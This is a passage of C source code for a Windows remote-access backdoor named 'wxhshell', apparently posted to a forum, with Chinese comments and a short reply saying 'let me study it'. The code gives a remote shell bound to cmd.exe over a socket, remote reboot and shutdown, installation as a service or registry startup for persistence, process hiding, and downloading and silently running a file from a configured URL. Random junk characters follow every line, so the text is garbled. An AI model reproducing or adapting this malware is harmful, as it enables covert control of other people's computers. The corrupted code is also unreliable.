    switch(cmd[0]) { |z]2KjF&w-  
  :t{vgi D9  
  // 帮助 }R&5qpl  
  case '?': { %s@S|< W  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Rw\C0'  
    break; o $`kpr  
  } }t%>_  
  // 安装 _d| 62VS  
  case 'i': { 1 j^c  
    if(Install()) -A%?T"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); H'GYJ ?U"  
    else km\ld&d]$  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .e2A*9,  
    break; %;\G@q_p{  
    } `$sY^EX  
  // 卸载 1H4Zgh U  
  case 'r': { /3[ 9{r  
    if(Uninstall()) 42>m,fb2[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); iqednk%  
    else ^_KD&%M6  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); bxdXZB n  
    break; iE^a%|?}  
    } V}|v!h[O8  
  // 显示 wxhshell 所在路径 ? TT8|Os  
  case 'p': { yb4tJu$  
    char svExeFile[MAX_PATH]; ZutB_uW  
    strcpy(svExeFile,"\n\r"); #>:(#^Uu  
      strcat(svExeFile,ExeFile); CSL{Q  
        send(wsh,svExeFile,strlen(svExeFile),0); y /:T(tk$  
    break; $C05iD  
    } L=HVdeE  
  // 重启 |^PLZ>  
  case 'b': { MFH"$t+  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 4,U}Am1Q  
    if(Boot(REBOOT)) H : T N  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~kYqGH  
    else { 2yQ}Lxr(  
    closesocket(wsh); y2#>c*  
    ExitThread(0); E!I  
    } zzfn0g  
    break; 80$0zbw$  
    } &6t3SZV  
  // 关机 xEiX<lguyN  
  case 'd': { Sc'c$/  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); pH\^1xj =  
    if(Boot(SHUTDOWN)) zd9]qo  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); inBPT~y  
    else { 0Ox|^V  
    closesocket(wsh); [t.%&#baF  
    ExitThread(0); 7SK 3  
    } %[n R|a<  
    break; wt}%2x} x  
    } >Qm<-g  
  // 获取shell t[?a @S~6  
  case 's': { e$Bf[F#;-  
    CmdShell(wsh); :6W^ S/pf  
    closesocket(wsh); $Pd|6  
    ExitThread(0); 9si}WqAw  
    break;   ^RV  
  } _3.G\/>[K  
  // 退出 W{A #]r l  
  case 'x': { w<Yv`$-`  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); CzSZ>E$%U  
    CloseIt(wsh); fK'.wX9  
    break; x[vBK8  
    } ~ThVap[*  
  // 离开 7?MB8tJ5r4  
  case 'q': { o9ctJf=qn  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); v]:+` dV  
    closesocket(wsh); l`b1%0y  
    WSACleanup(); >I4p9y(u  
    exit(1); hV-V eKjZ(  
    break; -^iUVO`z  
        } 382*  
  } (T|TEt  
  } sTtX$&Qu  
E.J 0fwyT  
  // 提示信息 h(@R]GUX  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); iiX\it$s  
} 6 Wpxp\  
  } (*6 m^  
5LX8:~y  
  return; F$Im9T6  
} SyK9Is{8  
5@`F.F>"  
// shell模块句柄 XXW]0{k:y  
int CmdShell(SOCKET sock) -AjH}A[!  
{ >Mvka;T]  
STARTUPINFO si; yiV G ]s  
ZeroMemory(&si,sizeof(si)); (j' {~FB  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 7qe7F l3  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; EntF@ln!  
PROCESS_INFORMATION ProcessInfo; e-X HN  
char cmdline[]="cmd"; 7]Al*)  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); e74zR6  
  return 0; B%tIwUE2  
} Vb@ 4(Q  
U4>O\sU  
// 自身启动模式 .,3Zj /  
int StartFromService(void) ^rv"o:lF  
{ z % x7fe  
typedef struct )K~w'TUr  
{ .'|mY$U~]  
  DWORD ExitStatus; |3}5:k  
  DWORD PebBaseAddress; 4YszVT-MU~  
  DWORD AffinityMask; QyPg |#T2>  
  DWORD BasePriority; ^0^( u  
  ULONG UniqueProcessId; ,;_rIO"  
  ULONG InheritedFromUniqueProcessId; 8|O=/m^]  
}   PROCESS_BASIC_INFORMATION; /X4yB"J>  
L#D9@V'z  
PROCNTQSIP NtQueryInformationProcess; *q0`})IQ  
*'D=1{WZ!  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; z[fB!O  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; lT.zNhz:d9  
2fJ{LC  
  HANDLE             hProcess; v:KX9A.  
  PROCESS_BASIC_INFORMATION pbi; b'i'GJBQ+$  
.~3kGf":  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); CRFCqmevR  
  if(NULL == hInst ) return 0; v "Me{+  
6*IpAIh  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 0n3D~Xzd  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); XCDSmZ  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); OL3UgepF  
CSL#s^4T  
  if (!NtQueryInformationProcess) return 0; WsR+Np@c  
;DuXS y!g  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); y&"!m }  
  if(!hProcess) return 0; aD9rp V  
79ckLd9  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Sk:2+inU  
AoYaVlKG8  
  CloseHandle(hProcess); IdPn%)>6  
bd!U)b(}OV  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); |; $Bb866/  
if(hProcess==NULL) return 0; fN-Gk(Ic  
-ynBi;nH  
HMODULE hMod; 1dFa@<5  
char procName[255]; V<8K@/n@  
unsigned long cbNeeded; 62[8xn=(%  
3HZ~.  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); J~KX|QY.S  
-gS"pE^1  
  CloseHandle(hProcess); jin db#)bz  
igDG}q3jG  
if(strstr(procName,"services")) return 1; // 以服务启动 `>6T&  
a2`%gh W3  
  return 0; // 注册表启动 -DP*q3  
} !9;)N,  
=O!|IAe#  
// 主模块 /.R<,/gj  
int StartWxhshell(LPSTR lpCmdLine) X\Y}oa."A  
{ F8<"AI  
  SOCKET wsl; V1B(|P  
BOOL val=TRUE; _qn?2u3mnR  
  int port=0; \M{[f=6llh  
  struct sockaddr_in door; @w\I qr  
3e%nA8?  
  if(wscfg.ws_autoins) Install(); FJeiY#us  
2Il8f  
port=atoi(lpCmdLine); AF}gSNX  
s~^}F+n  
if(port<=0) port=wscfg.ws_port; ~.^AL}zm_  
?cKZ_c  
  WSADATA data; VWx]1\  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; %MZP)k,&U  
` #OSl  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Xc*U+M >U  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); %'bJ:  
  door.sin_family = AF_INET; n[,XU|2  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); |a-fE]{7  
  door.sin_port = htons(port); 6)qp*P$L  
rh!;|xB|+  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 7" 4z+w  
closesocket(wsl); -)v@jlg02  
return 1; d(-EcY>?  
} irbw'^;y  
_V2xA88  
  if(listen(wsl,2) == INVALID_SOCKET) { |A\a4f 'G  
closesocket(wsl); "?3`  
return 1; #Exp51  
} ;),"M{"v  
  Wxhshell(wsl); [Wi 1|]X"G  
  WSACleanup(); IXpc,l `  
KkcXNjPVS  
return 0; h|D0z_f  
;W]\rft[  
} rf.`h{!!  
8)L*AdDAW!  
// 以NT服务方式启动 WBr59@V  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) :g6n,p_#  
{ s?2$ue&-f  
DWORD   status = 0; ~g6 3qs  
  DWORD   specificError = 0xfffffff; g^7MMlY%  
o*5U:'=5}  
  serviceStatus.dwServiceType     = SERVICE_WIN32; `JB?c  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; q_V0+qH  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; PL X>-7@  
  serviceStatus.dwWin32ExitCode     = 0; ,WD X(  
  serviceStatus.dwServiceSpecificExitCode = 0; nhT-Ido  
  serviceStatus.dwCheckPoint       = 0; v+G=E2Lhv  
  serviceStatus.dwWaitHint       = 0; y7/F _{  
j$Ab>}g]  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); L\%orLEmK  
  if (hServiceStatusHandle==0) return; 0.Ta Xbi  
v6GPS1:a  
status = GetLastError(); i#/]KsSp  
  if (status!=NO_ERROR) ! | #83  
{ HCWNo  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Y}s@WJ  
    serviceStatus.dwCheckPoint       = 0; S >yLqPp  
    serviceStatus.dwWaitHint       = 0; [sF(#Y:I  
    serviceStatus.dwWin32ExitCode     = status; l{Dct\ #s  
    serviceStatus.dwServiceSpecificExitCode = specificError; U75Jp%bL  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); pO7Zs  
    return; n]}W``=7  
  } l12{fpm  
rV6/Tdy  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; gw36Ec<M  
  serviceStatus.dwCheckPoint       = 0; >w+HHs/$wK  
  serviceStatus.dwWaitHint       = 0; wE]K~y!`  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); q1?&Ev^  
} s{0aBeq  
8NBT|N~N  
// 处理NT服务事件,比如:启动、停止 X5LBEOG  
VOID WINAPI NTServiceHandler(DWORD fdwControl) n_?tN\M  
{ 3"N)xO-  
switch(fdwControl) \xv;sl$f  
{ Fqy\CMC  
case SERVICE_CONTROL_STOP: t.p~\6Yi  
  serviceStatus.dwWin32ExitCode = 0; U;N:j8  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 8[vc?+>&  
  serviceStatus.dwCheckPoint   = 0; R :X0'zeRr  
  serviceStatus.dwWaitHint     = 0; +{<#(}  
  { ^D%FX!$  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ziPR>iz-  
  } ",6M)3{|c  
  return; #>lG7Ns|4  
case SERVICE_CONTROL_PAUSE: br-]fE.be  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; AN!s{7V3  
  break; Ae]sGU|?'  
case SERVICE_CONTROL_CONTINUE: kQ1w5mCh  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; El\%E"Tk%  
  break; 6AG`&'"  
case SERVICE_CONTROL_INTERROGATE: M?m,EQh.  
  break; U_x)#,4  
}; Hso|e?Z  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); %`Z+a.~U  
} S*o[ZA   
,XDRO./+T  
// 标准应用程序主函数 Gmwf4>"  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) *g?Po+ef%  
{ 7X@mSXis  
~t9tnLc$  
// 获取操作系统版本 n3A aZp[  
OsIsNt=GetOsVer(); (aOv#Vor]%  
GetModuleFileName(NULL,ExeFile,MAX_PATH); {9UEq0  
ry9T U  
  // 从命令行安装 >B]'fUt5a  
  if(strpbrk(lpCmdLine,"iI")) Install(); x }Ad_#q  
'AN>`\mR$  
  // 下载执行文件 =[b)1FUp  
if(wscfg.ws_downexe) { RuII!}*  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) /1Ue?)g  
  WinExec(wscfg.ws_filenam,SW_HIDE); X 1 57$  
} okbQ<{9  
DC{>TC[p1k  
if(!OsIsNt) { ,) J~,^f6  
// 如果时win9x,隐藏进程并且设置为注册表启动 9IX/wm"  
HideProc(); lXcx@#~  
StartWxhshell(lpCmdLine); o2<#s)GpY  
} :oJ=iB'Zc  
else 'Ut7{rZ5  
  if(StartFromService()) I f\fLhM  
  // 以服务方式启动 6DH~dL_",%  
  StartServiceCtrlDispatcher(DispatchTable); "g$IP9?U  
else /p8dZ+X  
  // 普通方式启动 O,Cb"{qH8  
  StartWxhshell(lpCmdLine); nBk)WX&[K  
uj :%#u  
return 0; >=[(^l  
}
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只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
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